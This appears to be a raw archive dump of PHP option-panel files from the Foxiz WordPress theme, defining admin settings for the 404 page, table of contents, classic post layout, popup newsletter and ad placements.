Entry Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Input entry meta tags to hide on the mobile devices, separate by comma. For example: avatar, author... Keys include: [avatar, author, date, category, tag, view, comment, update, read, custom]. Input -1 to re-enable all tags.', 'foxiz' ), 'placeholder' => esc_html__( 'avatar,author', 'foxiz' ), 'default' => '' ), array( 'id' => $prefix . 'hide_excerpt', 'type' => 'select', 'title' => esc_html__( 'Responsive - Hide Excerpt', 'foxiz' ), 'subtitle' => esc_html__( 'Hide the post excerpt on the tablet and mobile devices.', 'foxiz' ), 'options' => array( '0' => esc_html__( '- Default -', 'foxiz' ), 'mobile' => esc_html__( 'On Mobile', 'foxiz' ), 'tablet' => esc_html__( 'On Tablet', 'foxiz' ), 'all' => esc_html__( 'On Tablet & Mobile', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ) ), 'default' => '0', ), array( 'id' => 'section_end_search_design', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_search_pagination', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Blog Pagination', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable sticky sidebar feature. This setting applies to the search pages.', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'pagination', 'title' => esc_html__( 'Pagination Type', 'foxiz' ), 'subtitle' => esc_html__( 'Select pagination type for the search result listing.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_blog_pagination(), 'default' => 'number' ), array( 'id' => 'section_end_search_pagination', 'type' => 'section', 'class' => 'ruby-section-end no-border', 'indent' => false ), ) ); } } if ( ! function_exists( 'foxiz_register_options_page_404' ) ) { /** * @return array */ function foxiz_register_options_page_404() { $prefix = 'page_404_'; return array( 'id' => 'foxiz_config_section_page_404', 'title' => esc_html__( '404 Page', 'foxiz' ), 'icon' => 'el el-info-circle', 'desc' => esc_html__( 'The settings below apply to the 404 page.', 'foxiz' ), 'fields' => array( array( 'id' => $prefix . 'featured_info', 'type' => 'info', 'title' => esc_html__( 'The image will be limited at 300px of height. Recommended image height is about 600px for the retina screen.', 'foxiz' ), 'style' => 'info' ), array( 'id' => $prefix . 'featured', 'type' => 'media', 'url' => true, 'preview' => true, 'title' => esc_html__( 'Header Image', 'foxiz' ), 'subtitle' => esc_html__( 'Upload a header image for the 404 page.', 'foxiz' ), ), array( 'id' => $prefix . 'dark_featured', 'type' => 'media', 'url' => true, 'preview' => true, 'title' => esc_html__( 'Dark Header Image', 'foxiz' ), 'subtitle' => esc_html__( 'Upload a header image for the 404 page in the dark mode.', 'foxiz' ), ), array( 'id' => $prefix . 'heading', 'type' => 'text', 'title' => esc_html__( 'Heading', 'foxiz' ), 'subtitle' => esc_html__( 'Input a heading for the 404 page. Leave this option blank to set it as the default.', 'foxiz' ), 'default' => '', ), array( 'id' => $prefix . 'description', 'type' => 'textarea', 'title' => esc_html__( 'Description', 'foxiz' ), 'subtitle' => esc_html__( 'Input your description for the 404 page. Leave this option blank to set it as the default.', 'foxiz' ), 'default' => '', ), array( 'id' => $prefix . 'search', 'type' => 'switch', 'title' => esc_html__( 'Search Form', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the search form.', 'foxiz' ), 'default' => 1, ), ) ); } }PK!F22panels/table-contents.phpnu[ esc_html__( 'Table of Contents', 'foxiz' ), 'id' => 'foxiz_config_section_table_contents', 'desc' => esc_html__( 'Select settings for table of contents.', 'foxiz' ), 'icon' => 'el el-th-list', 'fields' => array( array( 'id' => 'section_start_table_contents_ptype', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Post Type Supported', 'foxiz' ), 'indent' => true ), array( 'id' => 'table_contents_post', 'type' => 'switch', 'title' => esc_html__( 'Support Single Post', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the table of content for the single post.', 'foxiz' ), 'default' => 1 ), array( 'id' => 'table_contents_page', 'type' => 'switch', 'title' => esc_html__( 'Support Single Page', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the table of content for the single.', 'foxiz' ), 'default' => '0' ), array( 'id' => 'section_end_table_contents_ptype', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_table_contents_heading', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Heading Tag Supported', 'foxiz' ), 'indent' => true ), array( 'id' => 'table_contents_h1', 'type' => 'switch', 'title' => esc_html__( 'Support H1', 'foxiz' ), 'subtitle' => esc_html__( 'Support H1 tag, Turn this option off if you would like to exclude H1 tag out of the table of contents.', 'foxiz' ), 'default' => 1 ), array( 'id' => 'table_contents_h2', 'type' => 'switch', 'title' => esc_html__( 'Support H2', 'foxiz' ), 'subtitle' => esc_html__( 'Support H2 tag, Turn this option off if you would like to exclude H2 tag out of the table of contents.', 'foxiz' ), 'default' => 1 ), array( 'id' => 'table_contents_h3', 'type' => 'switch', 'title' => esc_html__( 'Support H3', 'foxiz' ), 'subtitle' => esc_html__( 'Support H3 tag, Turn this option off if you would like to exclude H3 tag out of the table of contents.', 'foxiz' ), 'default' => 1 ), array( 'id' => 'table_contents_h4', 'type' => 'switch', 'title' => esc_html__( 'Support H4', 'foxiz' ), 'subtitle' => esc_html__( 'Support H4 tag, Turn this option off if you would like to exclude H4 tag out of the table of contents.', 'foxiz' ), 'default' => 1 ), array( 'id' => 'table_contents_h5', 'type' => 'switch', 'title' => esc_html__( 'Support H5', 'foxiz' ), 'subtitle' => esc_html__( 'Support H5 tag, Turn this option off if you would like to exclude H5 tag out of the table of contents.', 'foxiz' ), 'default' => 1 ), array( 'id' => 'table_contents_h6', 'type' => 'switch', 'title' => esc_html__( 'Support H6', 'foxiz' ), 'subtitle' => esc_html__( 'Support H6 tag, Turn this option off if you would like to exclude H6 tag out of the table of contents.', 'foxiz' ), 'default' => 1 ), array( 'id' => 'section_end_table_contents_heading', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_table_contents_layout', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Layout Settings', 'foxiz' ), 'indent' => true ), array( 'id' => 'table_contents_layout', 'title' => esc_html__( 'layout', 'foxiz' ), 'subtitle' => esc_html__( 'Select a layout for the table of contents.', 'foxiz' ), 'type' => 'select', 'options' => array( '1' => esc_html__( 'Full Width (2 Columns)', 'foxiz' ), '2' => esc_html__( 'Half Width', 'foxiz' ), '3' => esc_html__( 'Full Width (1 Column)', 'foxiz' ), ), 'default' => '1' ), array( 'id' => 'table_contents_enable', 'type' => 'text', 'class' => 'small-text', 'validate' => 'numeric', 'title' => esc_html__( 'Enable When', 'foxiz' ), 'subtitle' => esc_html__( 'Input a minimum value for total heading tags to show the table of contents box.', 'foxiz' ), 'default' => 2 ), array( 'id' => 'table_contents_heading', 'type' => 'text', 'title' => esc_html__( 'Table of Contents Heading', 'foxiz' ), 'subtitle' => esc_html__( 'Input the heading for the table of contents box.', 'foxiz' ), 'default' => esc_html__( 'Contents', 'foxiz' ) ), array( 'id' => 'table_contents_position', 'class' => 'small-text', 'validate' => 'numeric', 'type' => 'text', 'title' => esc_html__( 'Display Position', 'foxiz' ), 'subtitle' => esc_html__( 'Input a position (after x paragraphs) to display the table of contents box.', 'foxiz' ), 'default' => '1' ), array( 'id' => 'table_contents_hierarchy', 'type' => 'switch', 'title' => esc_html__( 'Show Hierarchy', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable hierarchy for the table of contents box.', 'foxiz' ), 'description' => esc_html__( 'This setting will not apply to the full width 2 columns layout.', 'foxiz' ), 'default' => 1 ), array( 'id' => 'table_contents_numlist', 'type' => 'switch', 'title' => esc_html__( 'Show Number list', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the number list items.', 'foxiz' ), 'default' => 1 ), array( 'id' => 'table_contents_scroll', 'type' => 'switch', 'title' => esc_html__( 'Smooth Scroll', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable smooth scroll effect to jumb to the anchor link.', 'foxiz' ), ), array( 'id' => 'section_end_table_contents_layout', 'type' => 'section', 'class' => 'ruby-section-end no-border', 'indent' => false ), ) ); } }PK!h]panels/block-classic.phpnu[ 'foxiz_config_section_styling_classic_1', 'title' => esc_html__( 'Classic (Standard)', 'foxiz' ), 'icon' => 'el el-indent-right', 'subsection' => true, 'desc' => esc_html__( 'These are settings for the Classic (standard) layout. It will be overridden by the "Block Design" (for Elementor pages) and "Blog Design" (for the Blog and Archive pages).', 'foxiz' ), 'fields' => array( array( 'id' => $prefix . 'info', 'type' => 'info', 'class' => 'layout-info', 'style' => 'success', 'desc' => html_entity_decode( '' . esc_attr__( 'classic', 'foxiz' ) . '' ), ), array( 'id' => $prefix . 'crop_size', 'title' => esc_html__( 'Featured Image Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a featured image size to optimize with the columns setting.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_crop_size(), 'default' => '0' ), array( 'id' => $prefix . 'entry_category', 'title' => esc_html__( 'Entry Category', 'foxiz' ), 'subtitle' => esc_html__( 'Select a layout for the entry category to display in the post listing.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_standard_entry_category(), 'default' => 'bg-1,big' ), array( 'id' => $prefix . 'entry_meta', 'type' => 'select', 'multi' => true, 'title' => esc_html__( 'Entry Meta Tags', 'foxiz' ), 'subtitle' => esc_html__( 'Select settings for the entry meta bar.', 'foxiz' ), 'desc' => esc_html__( 'Organize how you want the entry meta to appear. Leave blank to set it as the default.', 'foxiz' ), 'options' => foxiz_config_entry_meta_tags(), 'default' => array( 'avatar', 'author', 'date' ), ), array( 'id' => $prefix . 'review', 'type' => 'select', 'title' => esc_html__( 'Review Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select setting for entry review meta.', 'foxiz' ), 'options' => foxiz_config_entry_review(), 'default' => '1', ), array( 'id' => $prefix . 'review_meta', 'type' => 'switch', 'title' => esc_html__( 'Review Meta Description', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the meta description at the end of the review bar.', 'foxiz' ), 'default' => true ), array( 'id' => $prefix . 'entry_format', 'type' => 'select', 'title' => esc_html__( 'Post Format Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select setting for the post format.', 'foxiz' ), 'options' => foxiz_config_entry_format(), 'default' => 'bottom,big' ), array( 'id' => $prefix . 'bookmark', 'type' => 'switch', 'title' => esc_html__( 'Bookmark Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the bookmark icon.', 'foxiz' ), 'default' => false ), array( 'id' => $prefix . 'excerpt_length', 'type' => 'text', 'class' => 'small-text', 'validate' => 'numeric', 'title' => esc_html__( 'Excerpt - Max Length', 'foxiz' ), 'subtitle' => esc_html__( 'select max length of the post excerpt.', 'foxiz' ), 'desc' => esc_html__( 'Leave this option blank or set 0 to disable.', 'foxiz' ), 'default' => '30' ), array( 'id' => $prefix . 'excerpt_source', 'title' => esc_html__( 'Excerpt - Source', 'foxiz' ), 'subtitle' => esc_html__( 'Where to get the post excerpt.', 'foxiz' ), 'description' => esc_html__('When you select "use title tagline". if it is empty, it will fallback to the post excerpt or content.', 'foxiz'), 'type' => 'select', 'options' => foxiz_config_excerpt_source(), 'default' => 'tagline' ), array( 'id' => $prefix . 'readmore', 'title' => esc_html__( 'Read More Button', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the read more button.', 'foxiz' ), 'type' => 'switch', 'default' => false, ), array( 'id' => $prefix . 'sponsor_meta', 'title' => esc_html__( 'Sponsored Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the "sponsored by" meta.', 'foxiz' ), 'type' => 'switch', 'default' => true, ), array( 'id' => $prefix . 'title_tag', 'title' => esc_html__( 'Title HTML Tag', 'foxiz' ), 'subtitle' => esc_html__( 'Select a title HTML tag for the post title.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_heading_tag(), 'default' => '0' ), array( 'id' => $prefix . 'hide_category', 'type' => 'select', 'title' => esc_html__( 'Responsive - Hide Entry Category', 'foxiz' ), 'subtitle' => esc_html__( 'Hide the entry category on the tablet and mobile devices.', 'foxiz' ), 'options' => foxiz_config_hide_dropdown(), 'default' => '0', ), array( 'id' => $prefix . 'tablet_hide_meta', 'type' => 'select', 'multi' => true, 'title' => esc_html__( 'Tablet - Hide Entry Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Select entry meta tags you would like to hide on the tablet devices. In case long meta it would be useful.', 'foxiz' ), 'options' => foxiz_config_entry_meta_tags(), 'default' => array(), ), array( 'id' => $prefix . 'mobile_hide_meta', 'type' => 'select', 'multi' => true, 'title' => esc_html__( 'Mobile - Hide Entry Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Select entry meta tags you would like to hide on the mobile devices. In case long meta it would be useful.', 'foxiz' ), 'options' => foxiz_config_entry_meta_tags(), 'default' => array(), ), array( 'id' => $prefix . 'hide_excerpt', 'type' => 'select', 'title' => esc_html__( 'Responsive - Hide Excerpt', 'foxiz' ), 'subtitle' => esc_html__( 'Hide the post excerpt on the tablet and mobile devices.', 'foxiz' ), 'options' => foxiz_config_hide_dropdown(), 'default' => '0', ), array( 'id' => $prefix . 'center_mode', 'type' => 'switch', 'title' => esc_html__( 'Centering Content', 'foxiz' ), 'subtitle' => esc_html__( 'Centering text and elements for the post listing.', 'foxiz' ), 'default' => false, ) ) ); } } PK!Zvpanels/newsletter.phpnu[ 'foxiz_theme_ops_section_subscribe', 'title' => esc_html__( 'Popup Newsletter', 'foxiz' ), 'desc' => esc_html__( 'Select settings for the popup newsletter.', 'foxiz' ), 'icon' => 'el el-envelope', 'fields' => array( array( 'id' => 'newsletter_cover_info', 'type' => 'info', 'title' => esc_html__( 'Please update cover images to your own images after importing the theme demo.', 'foxiz' ), 'style' => 'warning' ), array( 'id' => 'newsletter_popup', 'type' => 'switch', 'title' => esc_html__( 'Popup Newsletter', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the popup newsletter form.', 'foxiz' ), 'default' => '0' ), array( 'id' => 'newsletter_title', 'type' => 'textarea', 'title' => esc_html__( 'Title', 'foxiz' ), 'subtitle' => esc_html__( 'Input title for the popup newsletter form', 'foxiz' ), 'default' => esc_html__( 'Join Us!', 'foxiz' ), ), array( 'id' => 'newsletter_description', 'type' => 'textarea', 'title' => esc_html__( 'Description', 'foxiz' ), 'subtitle' => esc_html__( 'Input description for the popup newsletter form', 'foxiz' ), 'default' => esc_html__( 'Subscribe to our newsletter and never miss our latest news, podcasts etc.', 'foxiz' ), ), array( 'id' => 'newsletter_shortcode', 'type' => 'text', 'title' => esc_html__( 'Newsletter Shortcode', 'foxiz' ), 'subtitle' => esc_html__( 'Input a newsletter shortcode.', 'foxiz' ), 'default' => esc_html__( '[mc4wp_form]', 'foxiz' ), ), array( 'id' => 'newsletter_footer', 'type' => 'text', 'title' => esc_html__( 'Footer Text', 'foxiz' ), 'subtitle' => esc_html__( 'Input a footer text for the box.', 'foxiz' ), 'default' => esc_html__( 'Zero spam, Unsubscribe at any time.', 'foxiz' ), ), array( 'id' => 'newsletter_footer_url', 'type' => 'text', 'title' => esc_html__( 'Footer URL', 'foxiz' ), 'subtitle' => esc_html__( 'Add a link for the footer text (optional).', 'foxiz' ), 'default' => '', ), array( 'id' => 'newsletter_cover', 'type' => 'media', 'url' => true, 'preview' => true, 'title' => esc_html__( 'Cover Image', 'foxiz' ), 'subtitle' => esc_html__( 'Select a cover image for the box.', 'foxiz' ), ), array( 'id' => 'newsletter_popup_expired', 'type' => 'select', 'title' => esc_html__( 'Popup Expired', 'foxiz' ), 'subtitle' => esc_html__( 'The period to redisplay the popup when visitors closed it.', 'foxiz' ), 'options' => array( '1' => esc_html__( '1 Day', 'foxiz' ), '2' => esc_html__( '2 Days', 'foxiz' ), '3' => esc_html__( '3 Days', 'foxiz' ), '7' => esc_html__( '1 Week', 'foxiz' ), '14' => esc_html__( '2 Weeks', 'foxiz' ), '21' => esc_html__( '3 Weeks', 'foxiz' ), '30' => esc_html__( '1 Month', 'foxiz' ) ), 'default' => 1 ), array( 'id' => 'newsletter_popup_display', 'type' => 'select', 'title' => esc_html__( 'Display Mode', 'foxiz' ), 'subtitle' => esc_html__( 'Select a mode to display the newsletter popup.', 'foxiz' ), 'options' => array( 'scroll' => esc_html__( 'Scroll Distance', 'foxiz' ), 'time' => esc_html__( 'Time Delay', 'foxiz' ) ), 'default' => 'scroll' ), array( 'id' => 'newsletter_popup_offset', 'type' => 'text', 'title' => esc_html__( 'Distance of Scroll', 'foxiz' ), 'subtitle' => esc_html__( 'This option use for "Scroll Distance" mode. Input a distance value (px) when visitor scrolling down to show the popup.', 'foxiz' ), 'default' => '2000' ), array( 'id' => 'newsletter_popup_delay', 'type' => 'text', 'title' => esc_html__( 'Delay Time', 'foxiz' ), 'subtitle' => esc_html__( 'This option use for "Time Delay" mode. Input a delay time (ms) value to show the popup after the site loaded.', 'foxiz' ), 'default' => '' ), ) ); } }PK!`dOOpanels/ads.phpnu[ 'foxiz_config_section_ads', 'title' => esc_html__( 'Ads & Slide Up', 'foxiz' ), 'desc' => esc_html__( 'Select ad settings for your website.', 'foxiz' ), 'icon' => 'el el-usd', ); } } if ( ! function_exists( 'foxiz_register_options_ad_auto' ) ) { /** * @return array */ function foxiz_register_options_ad_auto() { return array( 'id' => 'foxiz_config_section_ad_auto', 'title' => esc_html__( 'Adsense - Auto Ads', 'foxiz' ), 'desc' => esc_html__( 'Auto ads will scan your site and automatically place ads where they are likely to perform well and potentially generate more revenue.', 'foxiz' ), 'icon' => 'el el-usd', 'subsection' => true, 'fields' => array( array( 'id' => 'info_adsense_auto', 'type' => 'info', 'style' => 'warning', 'desc' => esc_html__( 'If you use auto ads code, you need to disable any other adsense units code.', 'foxiz' ), ), array( 'id' => 'info_adsense_auto_duplicate', 'type' => 'info', 'style' => 'warning', 'desc' => esc_html__( 'Do not place more than one auto ads code in the website.', 'foxiz' ), ), array( 'id' => 'ad_auto_code', 'title' => esc_html__( 'Auto Adsense Ads Code', 'foxiz' ), 'subtitle' => esc_html__( 'Input your auto ads code.', 'foxiz' ), 'type' => 'textarea', 'placeholder' => esc_html( '' ), 'description' => esc_html__( 'Leave this option blank to use unit ads code.', 'foxiz' ), 'rows' => 3, 'default' => '' ), array( 'id' => 'disable_ad_auto_wc', 'title' => esc_html__( 'Disable on Woocommerce Pages', 'foxiz' ), 'subtitle' => esc_html__( 'Disable auto Adsense on Woocommerce such as shop, product, cart, checkout....', 'foxiz' ), 'type' => 'switch', 'default' => 1 ), ) ); } } if ( ! function_exists( 'foxiz_register_options_ad_top' ) ) { /** * @return array */ function foxiz_register_options_ad_top() { return array( 'id' => 'foxiz_config_section_ad_top', 'title' => esc_html__( 'Top Site', 'foxiz' ), 'desc' => esc_html__( 'Select ad settings for displaying at the top of your website.', 'foxiz' ), 'icon' => 'el el-usd', 'subsection' => true, 'fields' => array( array( 'id' => 'info_ad_top_site', 'type' => 'info', 'style' => 'info', 'desc' => esc_html__( 'This section supports ads in the top header website. For other ad spots, please read the theme documentation for further info.', 'foxiz' ), ), array( 'id' => 'section_start_ad_top_type', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Ad Type', 'foxiz' ), 'indent' => true ), array( 'id' => 'ad_top_type', 'title' => esc_html__( 'Ad Type', 'foxiz' ), 'subtitle' => esc_html__( 'Select a ad type for displaying in the top of the website.', 'foxiz' ), 'type' => 'select', 'options' => array( '1' => esc_html__( 'Script', 'foxiz' ), '0' => esc_html__( 'Custom Image', 'foxiz' ), ), 'default' => '1' ), array( 'id' => 'section_end_ad_top_type', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_ad_top_script', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Script Settings', 'foxiz' ), 'subtitle' => esc_html__( 'The settings below will apply if you choose the "Script" ad type.', 'foxiz' ), 'indent' => true ), array( 'id' => 'ad_top_code', 'title' => esc_html__( 'Script - Ad/Adsense Code', 'foxiz' ), 'subtitle' => esc_html__( 'Input your ad script code.', 'foxiz' ), 'description' => esc_html__( 'Use Adsense units code to ensure it display exactly where you put.', 'foxiz' ), 'type' => 'textarea', 'default' => '' ), array( 'id' => 'ad_top_size', 'title' => esc_html__( 'Script - Ad Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a custom size for this ad if you use adsense ad units.', 'foxiz' ), 'type' => 'select', 'options' => array( '0' => esc_html__( 'Do not Override', 'foxiz' ), '1' => esc_html__( 'Custom Size Below', 'foxiz' ) ), 'default' => '0' ), array( 'id' => 'ad_top_desktop_size', 'title' => esc_html__( 'Script - Size on Desktop', 'foxiz' ), 'subtitle' => esc_html__( 'Select a size on the desktop device.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_ad_size_dropdown(), 'default' => '1' ), array( 'id' => 'ad_top_tablet_size', 'title' => esc_html__( 'Script - Size on Tablet', 'foxiz' ), 'subtitle' => esc_html__( 'Select a size on the tablet device.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_ad_size_dropdown(), 'default' => '2' ), array( 'id' => 'ad_top_mobile_size', 'title' => esc_html__( 'Script - Size on Mobile', 'foxiz' ), 'subtitle' => esc_html__( 'Select a size on the mobile device.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_ad_size_dropdown(), 'default' => '3' ), array( 'id' => 'section_end_ad_top_script', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_ad_top_image', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Custom Image Settings', 'foxiz' ), 'subtitle' => esc_html__( 'The settings below will apply if you choose the "Custom Image" ad type.', 'foxiz' ), 'indent' => true ), array( 'id' => 'ad_top_image', 'title' => esc_html__( 'Custom Image - Ad Image', 'foxiz' ), 'subtitle' => esc_html__( 'Upload your ad image.', 'foxiz' ), 'type' => 'media', 'default' => '' ), array( 'id' => 'ad_top_dark_image', 'title' => esc_html__( 'Custom Image - Dark Mode Ad Image', 'foxiz' ), 'subtitle' => esc_html__( 'Upload your ad image in the dark mode.', 'foxiz' ), 'type' => 'media', 'default' => '' ), array( 'id' => 'ad_top_destination', 'title' => esc_html__( 'Custom Image - Ad Destination', 'foxiz' ), 'subtitle' => esc_html__( 'Input your ad destination URL.', 'foxiz' ), 'type' => 'text', 'default' => '#' ), array( 'id' => 'ad_top_width', 'title' => esc_html__( 'Custom Image - Max Width', 'foxiz' ), 'subtitle' => esc_html__( 'Input a max width value (in px) for your ad image, leave blank set full size.', 'foxiz' ), 'type' => 'text', 'default' => '' ), array( 'id' => 'section_end_ad_top_image', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_ad_top_style', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Style Settings', 'foxiz' ), 'indent' => true ), array( 'id' => 'ad_top_bg', 'title' => esc_html__( 'Section Background', 'foxiz' ), 'subtitle' => esc_html__( 'Select a background for this ad section.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'default' => '' ), array( 'id' => 'ad_top_dark_bg', 'title' => esc_html__( 'Dark Mode - Section Background', 'foxiz' ), 'subtitle' => esc_html__( 'Select a background for this ad section in the dark mode.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'default' => '' ), array( 'id' => 'ad_top_spacing', 'title' => esc_html__( 'Spacing', 'foxiz' ), 'subtitle' => esc_html__( 'Select a top and bottom spacing for the advert.', 'foxiz' ), 'type' => 'select', 'options' => array( '0' => esc_html__( '15px', 'foxiz' ), '1' => esc_html__( 'No spacing', 'foxiz' ) ), 'default' => '0' ), array( 'id' => 'section_end_ad_top_style', 'type' => 'section', 'class' => 'ruby-section-end no-border', 'indent' => false ) ) ); } } if ( ! function_exists( 'foxiz_register_options_ad_single' ) ) { /** * @return array */ function foxiz_register_options_ad_single() { return array( 'id' => 'foxiz_config_section_ad_single', 'title' => esc_html__( 'Inline Single Content', 'foxiz' ), 'desc' => esc_html__( 'Select ad settings for displaying inside the single post content.', 'foxiz' ), 'icon' => 'el el-usd', 'subsection' => true, 'fields' => array( array( 'id' => 'info_single_ad', 'type' => 'info', 'style' => 'info', 'desc' => esc_html__( 'This section supports ads inside single post content, after x paragraphs. For other ad spots, please read the theme documentation for further info.', 'foxiz' ), ), array( 'id' => 'section_start_ad_single_type', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Ad Type', 'foxiz' ), 'indent' => true ), array( 'id' => 'ad_single_type', 'title' => esc_html__( 'Ad Type', 'foxiz' ), 'subtitle' => esc_html__( 'Select a ad type for displaying inside the single post content.', 'foxiz' ), 'description' => esc_html__( 'Setup below settings corresponding to your ad type.', 'foxiz' ), 'type' => 'select', 'options' => array( '1' => esc_html__( 'Script', 'foxiz' ), '0' => esc_html__( 'Custom Image', 'foxiz' ), ), 'default' => '1' ), array( 'id' => 'section_end_ad_single_type', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_ad_single_script', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Script Settings', 'foxiz' ), 'subtitle' => esc_html__( 'The settings below will apply if you choose the "Script" ad type.', 'foxiz' ), 'indent' => true ), array( 'id' => 'ad_single_code', 'title' => esc_html__( 'Script - Ad/Adsense Code', 'foxiz' ), 'subtitle' => esc_html__( 'Input your custom ad script code or Adsense.', 'foxiz' ), 'description' => esc_html__( 'Use Adsense units code to ensure it display exactly where you put.', 'foxiz' ), 'type' => 'textarea', 'default' => '' ), array( 'id' => 'ad_single_size', 'title' => esc_html__( 'Script - Ad Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a custom size for this ad if you use adsense ad units.', 'foxiz' ), 'type' => 'select', 'options' => array( '0' => esc_html__( 'Do not Override', 'foxiz' ), '1' => esc_html__( 'Custom Size Below', 'foxiz' ) ), 'default' => '0' ), array( 'id' => 'ad_single_desktop_size', 'title' => esc_html__( 'Script - Size on Desktop', 'foxiz' ), 'subtitle' => esc_html__( 'Select a size on the desktop device.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_ad_size_dropdown(), 'default' => '1' ), array( 'id' => 'ad_single_tablet_size', 'title' => esc_html__( 'Script - Size on Tablet', 'foxiz' ), 'subtitle' => esc_html__( 'Select a size on the tablet device.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_ad_size_dropdown(), 'default' => '2' ), array( 'id' => 'ad_single_mobile_size', 'title' => esc_html__( 'Script - Size on Mobile', 'foxiz' ), 'subtitle' => esc_html__( 'Select a size on the mobile device.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_ad_size_dropdown(), 'default' => '3' ), array( 'id' => 'section_end_ad_single_script', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_ad_single_image', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Custom Image Settings', 'foxiz' ), 'subtitle' => esc_html__( 'The settings below will apply if you choose the "Custom Image" ad type.', 'foxiz' ), 'indent' => true ), array( 'id' => 'ad_single_image', 'title' => esc_html__( 'Custom Image - Ad Image', 'foxiz' ), 'subtitle' => esc_html__( 'Upload your ad image.', 'foxiz' ), 'type' => 'media', 'default' => '' ), array( 'id' => 'ad_single_dark_image', 'title' => esc_html__( 'Custom Image - Dark Mode Ad Image', 'foxiz' ), 'subtitle' => esc_html__( 'Upload your ad image in the dark mode.', 'foxiz' ), 'type' => 'media', 'default' => '' ), array( 'id' => 'ad_single_destination', 'title' => esc_html__( 'Custom Image - Ad Destination', 'foxiz' ), 'subtitle' => esc_html__( 'Input your ad destination URL.', 'foxiz' ), 'type' => 'text', 'default' => '#' ), array( 'id' => 'ad_single_width', 'title' => esc_html__( 'Custom Image - Max Width', 'foxiz' ), 'subtitle' => esc_html__( 'Input a max width value (in px) for your ad image, leave blank set full size.', 'foxiz' ), 'type' => 'text', 'default' => '' ), array( 'id' => 'section_end_ad_single_image', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_ad_single_style', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Style Settings', 'foxiz' ), 'indent' => true ), array( 'id' => 'ad_single_description', 'title' => esc_html__( 'Ad Description', 'foxiz' ), 'subtitle' => esc_html__( 'Input a description for the adverting box.', 'foxiz' ), 'type' => 'text', 'default' => esc_html__( '- Advertisement -', 'foxiz' ) ), array( 'id' => 'ad_single_align', 'title' => esc_html__( 'Ad Align', 'foxiz' ), 'subtitle' => esc_html__( 'Select a align style for the adverts.', 'foxiz' ), 'type' => 'select', 'options' => array( 'full' => esc_html__( 'Full Width', 'foxiz' ), 'left' => esc_html__( 'Float Left', 'foxiz' ), 'right' => esc_html__( 'Float Right', 'foxiz' ), ), 'default' => 'full' ), array( 'id' => 'ad_single_positions', 'title' => esc_html__( 'Display Positions', 'foxiz' ), 'subtitle' => esc_html__( 'Input a position (after x paragraphs) to display your ads.', 'foxiz' ), 'description' => esc_html__( 'Allow multiple positions, separated by commas. For example: 4,9', 'foxiz' ), 'type' => 'text', 'placeholder' => esc_html__( '4,9', 'foxiz' ), 'default' => 4 ), array( 'id' => 'section_end_ad_single_style', 'type' => 'section', 'class' => 'ruby-section-end no-border', 'indent' => false ) ) ); } } if ( ! function_exists( 'foxiz_register_options_footer_slide_up' ) ) { /** * @return array */ function foxiz_register_options_footer_slide_up() { return array( 'id' => 'foxiz_config_section_footer_slide_up', 'title' => esc_html__( 'Footer Slide Up', 'foxiz' ), 'desc' => esc_html__( 'Show ads or any shortcode in the slide up footer section.', 'foxiz' ), 'icon' => 'el el-chevron-up', 'subsection' => true, 'fields' 